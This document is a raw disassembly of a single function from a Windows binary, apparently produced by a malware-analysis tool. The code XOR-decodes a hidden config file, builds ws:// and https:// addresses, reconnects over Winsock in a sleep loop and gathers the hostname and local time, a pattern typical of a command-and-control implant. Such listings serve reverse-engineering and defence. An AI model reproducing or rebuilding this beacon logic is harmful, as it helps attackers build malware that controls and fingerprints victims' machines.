Function at 0x14001c290
Capabilities:
Encode data using xor
Get common file path
Get hostname
Initialize winsock library

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x9e8]
sub rsp, 0xac0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400a20c0]
xor rax, rsp
mov qword [rbp + 0x990], rax
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x38], esi
mov ecx, 0xc8
call fcn.1400543a4
mov rbx, rax
mov r14d, 1
mov r9d, r14d
lea r8d, [rsi + 0x1a]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.140004540
nop
lea r8, str._r1b11n7123.tmp
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140025450
mov rdx, rax
lea rcx, [0x1400a2c20]
call fcn.140022aa0
lea rcx, [rbp + 0x1d0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x90]
call fcn.140022a40
mov rcx, rbx
call fcn.140054120
lea rcx, [rbp + 0x6d0]
call fcn.140022cc0
nop
lea rdx, [rbp + 0x6d0]
call fcn.1400030c0
lea r13, [0x1400a6110]
test al, al
je 0x14001c6e6
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0xd0]
call fcn.140022ba0
lea rcx, [rbp + 0xd0]
call fcn.140022800
mov r8, rax
lea rcx, [rbp + 0xd0]
call fcn.140022850
mov edx, esi
mov rcx, rax
sub rcx, r8
cmp r8, rax
cmova rcx, rsi
test rcx, rcx
je 0x14001c427
cmp rcx, 0x40
jb 0x14001c427
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
nop
movdqu xmm0, xmmword [r8]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8], xmm1
movdqu xmm0, xmmword [r8 + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmm0, xmmword [r8 + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x30], xmm1
add r8, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x14001c3d0
cmp r8, rax
je 0x14001c43c
nop dword [rax]
xor byte [r8], 0x44
inc r8
cmp r8, rax
jne 0x14001c430
xor r8d, r8d
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rbx, rax
lea r8, [rax + 3]
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rsi, rax
lea r8, [rax + 3]
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov r14, rax
lea r8, [rax + 3]
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rdi, rax
cmp rbx, 0xffffffffffffffff
je 0x14001c6c3
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
mov rcx, rax
call fcn.1400016e0
mov dword [0x1400a2c14], eax
lea rcx, [rbp + 0x90]
call fcn.140022a40
mov r9, rsi
sub r9, rbx
sub r9, 3
lea r8, [rbx + 3]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
mov rcx, rax
call fcn.1400016e0
imul ecx, eax, 0xea60
mov dword [0x1400a2c10], ecx
lea rcx, [rbp + 0x90]
call fcn.140022a40
mov r9, r14
sub r9, rsi
sub r9, 3
lea r8, [rsi + 3]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
sub rdi, r14
lea r9, [rdi - 3]
lea r8, [r14 + 3]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov rdx, rax
lea rcx, [0x1400a60b0]
call fcn.140022440
lea rcx, [rbp + 0x90]
call fcn.1400223d0
nop
lea rcx, [rbp + 0xb0]
call fcn.140022a40
xor ecx, ecx
call fcn.140069898
mov rcx, rax
call fcn.140059504
call fcn.1400594d8
mov ebx, eax
mov eax, 0x66666667
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ebx, eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov r9d, ebx
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140015080
nop
mov r8, rax
lea rdx, str.ws:__
lea rcx, [rbp + 0x110]
call fcn.140024fd0
nop
lea r8, [0x140092cb0]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400250b0
mov rdx, rax
lea rcx, [0x1400a6070]
call fcn.140022440
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x110]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x130]
call fcn.1400223d0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov r9d, ebx
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140015080
nop
mov r8, rax
lea rdx, str.https:__
lea rcx, [rbp + 0xb0]
call fcn.140024fd0
mov rdx, rax
lea rcx, [0x1400a60d0]
call fcn.140022440
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x110]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140022a40
nop
lea rcx, [rbp + 0xd0]
call fcn.140022a40
mov r12d, dword [rsp + 0x38]
xor esi, esi
lea r14d, [rsi + 1]
lea r13, [0x1400a6110]
jmp 0x14001c9de
xor ecx, ecx
call fcn.140069898
mov rcx, rax
call fcn.140059504
call fcn.1400594d8
mov edx, eax
lea rcx, [rbp + 0xb0]
call fcn.140001890
nop
mov r8, rax
lea rdx, [0x140093ea8]
lea rcx, [rbp + 0x1d0]
call fcn.140024fd0
mov rdx, rax
lea rcx, [0x1400a60b0]
call fcn.140022440
lea rcx, [rbp + 0x1d0]
call fcn.1400223d0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
mov eax, 0x88888889
mul dword [0x1400a2c10]
shr edx, 5
mov eax, 0x10624dd3
mul edx
shr edx, 6
lea rcx, [rbp + 0x130]
call fcn.140001810
mov rbx, rax
mov edx, dword [0x1400a2c14]
lea rcx, [rbp + 0x110]
call fcn.140001810
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140025360
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.140025450
nop
lea rcx, [rbp + 0x1d0]
call fcn.140022a40
nop
lea rcx, [rbp + 0xb0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x110]
call fcn.140022a40
nop
lea rcx, [rbp + 0x130]
call fcn.140022a40
mov ebx, 0xa
nop word [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0xf0]
call fcn.140003fb0
nop
lea r8, [0x140093360]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140025450
nop
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400229d0
nop
lea rcx, [rbp + 0x170]
call fcn.140022a40
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
sub rbx, 1
jne 0x14001c800
mov rdx, qword [rbp + 0x1c0]
dec rdx
lea rcx, [rbp + 0x1b0]
call fcn.140022920
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0xf0]
call fcn.140003fb0
nop
mov r8, rax
lea rdx, [0x140092e40]
lea rcx, [rbp + 0x170]
call fcn.140025280
nop
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400229d0
nop
lea rcx, [rbp + 0x170]
call fcn.140022a40
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x90]
call fcn.140022ba0
lea rcx, [rbp + 0x90]
call fcn.140022800
mov r8, rax
lea rcx, [rbp + 0x90]
call fcn.140022850
mov rdx, rsi
mov rcx, rax
sub rcx, r8
cmp r8, rax
cmova rcx, rsi
test rcx, rcx
je 0x14001c977
cmp rcx, 0x40
jb 0x14001c977
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
nop word [rax + rax]
movdqu xmm0, xmmword [r8]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8], xmm1
movdqu xmm0, xmmword [r8 + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmm0, xmmword [r8 + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x30], xmm1
add r8, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x14001c920
cmp r8, rax
je 0x14001c98c
nop dword [rax]
xor byte [r8], 0x44
inc r8
cmp r8, rax
jne 0x14001c980
lea rcx, [rsp + 0x70]
call fcn.14001f5a0
nop
cmp qword [rbp - 8], 0
je 0x14001c9ba
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.1400260f0
lea rcx, [rsp + 0x70]
call fcn.14001f500
nop
lea rcx, [rsp + 0x70]
call fcn.14001f440
nop
lea rcx, [rbp + 0x90]
call fcn.140022a40
nop
lea rcx, [rbp + 0x1b0]
call fcn.140022a40
lea r15, [0x140015300]
lea rdi, vtable.std::ios_base.0
nop dword [rax]
lea rdx, [0x140092c06]
lea rcx, [0x1400a2c40]
call fcn.1400229f0
lea rcx, [rbp + 0x4d0]
call fcn.140022cc0
nop
lea rcx, [rbp + 0xd0]
call fcn.140022cc0
nop
lea rdx, [rbp + 0x4d0]
call fcn.1400030c0
test al, al
je 0x14001cdbd
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x90]
call fcn.140022ba0
lea rcx, [rbp + 0x90]
call fcn.140022800
mov r8, rax
lea rcx, [rbp + 0x90]
call fcn.140022850
mov rdx, rsi
mov rcx, rax
sub rcx, r8
cmp r8, rax
cmova rcx, rsi
test rcx, rcx
je 0x14001cae7
cmp rcx, 0x40
jb 0x14001cae7
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
nop word [rax + rax]
movdqu xmm0, xmmword [r8]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8], xmm1
movdqu xmm0, xmmword [r8 + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmm0, xmmword [r8 + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x30], xmm1
add r8, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x14001ca90
cmp r8, rax
je 0x14001cafc
nop dword [rax]
xor byte [r8], 0x44
inc r8
cmp r8, rax
jne 0x14001caf0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022aa0
lea rcx, [rbp + 0x90]
call fcn.140022a40
xor r8d, r8d
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rbx, rax
lea r8, [rax + 3]
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rsi, rax
lea r8, [rax + 3]
lea rdx, [0x140092e40]
lea rcx, [rbp + 0xd0]
call fcn.140022780
mov rdi, rax
cmp rbx, 0xffffffffffffffff
je 0x14001cd6a
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
mov rcx, rax
call fcn.1400016e0
mov dword [0x1400a2c14], eax
lea rcx, [rbp + 0x90]
call fcn.140022a40
mov r9, rsi
sub r9, rbx
sub r9, 3
lea r8, [rbx + 3]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
mov rcx, rax
call fcn.1400016e0
imul ecx, eax, 0xea60
mov dword [0x1400a2c10], ecx
lea rcx, [rbp + 0x90]
call fcn.140022a40
sub rdi, rsi
lea r9, [rdi - 3]
lea r8, [rsi + 3]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.140022660
nop
xor ecx, ecx
call fcn.140069898
mov rcx, rax
call fcn.140059504
call fcn.1400594d8
mov ebx, eax
mov eax, 0x66666667
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ebx, eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov r9d, ebx
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140015080
mov rdx, rax
mov rcx, r13
call fcn.140022440
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov r9d, ebx
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140015080
nop
mov r8, rax
lea rdx, str.ws:__
lea rcx, [rbp + 0x110]
call fcn.140024fd0
nop
lea r8, [0x140092cb0]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400250b0
mov rdx, rax
lea rcx, [0x1400a6070]
call fcn.140022440
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x110]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x130]
call fcn.1400223d0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x90]
call fcn.1400033a0
mov r9d, ebx
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140015080
nop
mov r8, rax
lea rdx, str.https:__
lea rcx, [rbp + 0xb0]
call fcn.140024fd0
mov rdx, rax
lea rcx, [0x1400a60d0]
call fcn.140022440
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x110]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140022a40
lea rdi, vtable.std::ios_base.0
lea r15, [0x140015300]
mov r14d, 1
xor esi, esi
mov dword [0x1400a6068], esi
call fcn.140012970
test al, al
je 0x14001d3bb
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0xd0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x4d0]
call fcn.140022a40
jmp 0x14001c9f0
xor ecx, ecx
call fcn.140069898
mov rcx, rax
call fcn.140059504
call fcn.1400594d8
mov edx, eax
lea rcx, [rbp + 0xb0]
call fcn.140001890
nop
mov r8, rax
lea rdx, [0x140093ea8]
lea rcx, [rbp + 0x90]
call fcn.140024fd0
mov rdx, rax
lea rcx, [0x1400a60b0]
call fcn.140022440
lea rcx, [rbp + 0x90]
call fcn.1400223d0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400223d0
mov eax, 0x88888889
mul dword [0x1400a2c10]
shr edx, 5
mov eax, 0x10624dd3
mul edx
shr edx, 6
lea rcx, [rbp + 0xf0]
call fcn.140001810
mov rbx, rax
mov edx, dword [0x1400a2c14]
lea rcx, [rbp + 0x170]
call fcn.140001810
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140025360
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0x1f0]
call fcn.140025450
nop
lea rcx, [rbp + 0x110]
call fcn.140022a40
nop
lea rcx, [rbp + 0x130]
call fcn.140022a40
nop
lea rcx, [rbp + 0x170]
call fcn.140022a40
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
mov ebx, esi
nop
lea rcx, [rbp + 0x650]
call fcn.140021a50
nop
mov r8, r13
cmp qword [0x1400a6128], 7
cmova r8, qword [0x1400a6110]
mov rax, qword [0x1400a6120]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x650]
call fcn.140023880
or r12d, 0xc
lea rcx, [rbp + 0x650]
call fcn.140021960
nop
mov r8, r14
lea rdx, [0x140093360]
lea rcx, [rbp + 0xb0]
call fcn.140022950
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r12d, 0x10
lea rdx, [rbp + 0x90]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x1f0]
call fcn.140022950
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14001cfd3
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cfcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f354
call fcn.140054120
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14001d014
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d00f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f35a
call fcn.140054120
inc ebx
cmp ebx, 0xa
jl 0x14001ced0
mov rax, qword [rbp + 0x200]
lea rcx, [rax - 1]
cmp rax, rcx
jb 0x14001f438
mov qword [rbp + 0x200], rcx
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rax, qword [rbp + 0x1f0]
mov byte [rax + rcx], 0
lea rcx, [rbp + 0x650]
call fcn.140021a50
nop
lea r8, [0x1400a60b0]
cmp qword [0x1400a60c8], 7
cmova r8, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x650]
call fcn.140023880
nop
lea rcx, [rbp + 0x650]
call fcn.140021960
nop
mov r9d, 3
lea r8, [0x140092e40]
lea rcx, [rbp + 0xb0]
call fcn.140027c80
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea rdx, [rbp + 0x90]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x1f0]
call fcn.140022950
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14001d158
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d152
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f360
call fcn.140054120
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14001d199
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d194
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f366
call fcn.140054120
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x270]
call fcn.140022ba0
or r12d, 0x1e0
lea rax, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
jbe 0x14001d1d0
mov rax, qword [rbp + 0x270]
mov rdx, rax
jmp 0x14001d1d7
lea rdx, [rbp + 0x270]
mov r9, rax
mov r8, qword [rbp + 0x280]
add r8, rdx
mov rdx, rsi
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, rsi
test rcx, rcx
je 0x14001d25f
cmp rcx, 0x40
jb 0x14001d25f
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDD]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x14001d210
cmp rax, r8
je 0x14001d26f
xor byte [rax], 0x44
inc rax
cmp rax, r8
jne 0x14001d264
lea rcx, [rsp + 0x70]
call fcn.14001f5a0
nop
cmp qword [rbp - 8], 0
je 0x14001d29d
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x70]
call fcn.1400260f0
lea rcx, [rsp + 0x70]
call fcn.14001f500
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140020420
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
mov qword [rbp + 0x18], rdi
lea rcx, [rbp + 0x18]
call fcn.140033488
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x14001d343
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d33e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f36c
call fcn.140054120
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], recv
mov byte [rbp + 0x270], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14001d39d
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f372
call fcn.140054120
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], recv
mov byte [rbp + 0x1f0], 0
jmp 0x14001cd80
lea rcx, [rsp + 0x38]
call fcn.140014580
test al, al
jne 0x14001d3d6
imul ecx, dword [rsp + 0x38], 0x3e8
jmp 0x14001cd98
mov edi, esi
xor bl, bl
nop word [rax + rax]
inc edi
mov ecx, 0x202
lea rdx, [rbp + 0x7f0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14001d56e
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
mov qword [rbp + 0x460], rsi
mov qword [rbp + 0x468], recv
mov byte [rbp + 0x450], al
lea rcx, [rbp + 0x650]
call fcn.140021a50
nop
lea r8, [0x1400a6070]
cmp qword [0x1400a6088], 7
cmova r8, qword [0x1400a6070]
mov rax, qword [0x1400a6080]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x650]
call fcn.140023880
or r12d, 3
lea rcx, [rbp + 0x650]
call fcn.140021960
nop
lea r8, [rbp + 0x450]
lea rcx, [rbp + 0x4b0]
call fcn.14002bd00
mov qword [0x1400a6130], rax
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0xf
jbe 0x14001d4cc
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f378
call fcn.140054120
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], recv
mov byte [rbp + 0x4b0], 0
mov rdx, qword [rbp + 0x468]
cmp rdx, 0xf
jbe 0x14001d526
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d521
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001f37e
call fcn.140054120
mov qword [rbp + 0x460], rsi
mov qword [rbp + 0x468], recv
mov byte [rbp + 0x450], 0
movzx ebx, bl
mov rcx, qword [0x1400a6130]
test rcx, rcx
cmovne ebx, r14d
cmp edi, dword [0x1400a2c14]
ja 0x14001d578
test rcx, rcx
jne 0x14001d56e
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0x14001d3e0
jmp 0x14001d584
mov ecx, dword [0x1400a2c10]
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400a6130], 0
jne 0x14001d5ac
lea rcx, [rbp + 0xd0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x4d0]
call fcn.140022a40
jmp 0x14001c9e5
mov r13, r14
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x38]
cmp eax, 1
je 0x14001ea89
nop word [rax + rax]
cmp dword [0x1400a6068], 0
jne 0x14001ea89
movabs rax, 0xcccccccccccccccd
mul r13
shr rdx, 5
lea rax, [rdx + rdx*4]
shl rax, 3
mov rbx, r13
sub rbx, rax
jne 0x14001d617
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov ecx, dword [0x1400a2c10]
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], recv
mov byte [rbp + 0x250], 0
cmp rbx, 1
jne 0x14001f20b
mov dword [rsp + 0x3c], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x530]
call fcn.1400043c0
nop
mov ecx, 0xc8
call fcn.1400543a4
mov rbx, rax
call fcn.140012b60
mov rdx, rbx
sub rdx, rax
nop word [rax + rax]
movzx ecx, word [rax]
mov word [rax + rdx], cx
lea rax, [rax + 2]
test cx, cx
jne 0x14001d690
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.1400043c0
nop
mov rcx, rbx
call fcn.140054120
lea rcx, [rbp + 0xb0]
call fcn.140012c80
nop
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rbp + 0x8c]
lea rcx, [rbp + 0x130]
call fcn.140001750
mov r15, rax
movzx edx, word [rbp + 0x8a]
lea rcx, [rbp + 0x170]
call fcn.140001750
mov r14, rax
movzx edx, word [rbp + 0x88]
lea rcx, [rbp + 0xf0]
call fcn.140001750
mov rsi, rax
movzx edx, word [rbp + 0x86]
lea rcx, [rbp + 0x150]
call fcn.140001750
mov rdi, rax
movzx edx, word [rbp + 0x82]
lea rcx, [rbp + 0x230]
call fcn.140001750
mov rbx, rax
movzx edx, word [rbp + 0x80]
lea rcx, [rbp + 0x210]
call fcn.140001750
nop
lea r8, [0x1400932c4]
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140025360
nop
lea r8, [0x1400932c4]
mov rdx, rax
lea rcx, [rbp + 0x470]
call fcn.140025450
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x490]
call fcn.140025360
nop
lea r8, [0x140093834]
mov rdx, rax
lea rcx, [rbp + 0x630]
call fcn.140025450
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x610]
call fcn.140025360
nop
lea r8, [0x1400932c4]
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.140025450
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.140025360
nop
mov r14d, 1
mov r8d, r14d
lea rdx, [0x1400932c4]
mov rcx, rax
call fcn.140022950
movups xmm0, xmmword [rax]
